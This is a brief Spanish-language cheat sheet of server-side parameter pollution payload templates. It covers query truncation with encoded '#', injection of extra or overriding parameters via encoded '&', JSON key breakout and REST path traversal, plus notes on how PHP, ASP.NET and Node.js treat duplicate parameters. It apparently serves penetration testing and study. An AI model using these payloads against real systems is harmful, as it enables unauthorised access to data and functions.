# Server-side parameter pollution

Truncar la cadena de consulta.

```
# GET
?param=value#truncate
?param=value%23truncate

# POST
param=value#truncate
param=value%23truncate
```

Inyección de parámetros.

```
# GET
?param=value&<parameter>
?param=value%26<parameter>

# POST
param=value&<parameter>
param=value%26<parameter>
```

Inyección de valores de parámetro.

```
# GET
?param=value&parameter=<value>
?param=value%26parameter=<value>

# POST
param=value&parameter=<value>
param=value%26parameter=<value>
```

Inyección de parámetros y valores en conversión a formato JSON por el back-end.

```
# GET
?param=value","<parameter>":"<value>
{"param":"value","parameter":"value"}

# POST
param=value","<parameter>":"<value>
{"param":"value","parameter":"value"}
```

Anulación/sustitución de parámetros existentes.

```
# GET
?param=value&param=<value>
?param=value%26param=<value>

# POST
param=value&param=<value>
param=value%26param=<value>
```

Inyección de path (API RESTful).

```
# GET
?param=value&param=value/../../<path>#
?param=value%26param=value%2f..%2f..%2f<path>%23

# POST
param=value&param=value/../../<path>#
param=value%26param=value%2f..%2f..%2f<path>%23
```

* PHP: analiza únicamente el último parámetro.
* ASP.NET: combina ambos parámetros (`value1,value2`).
* Node.js/Express: analiza únicamente el primer parámetro.
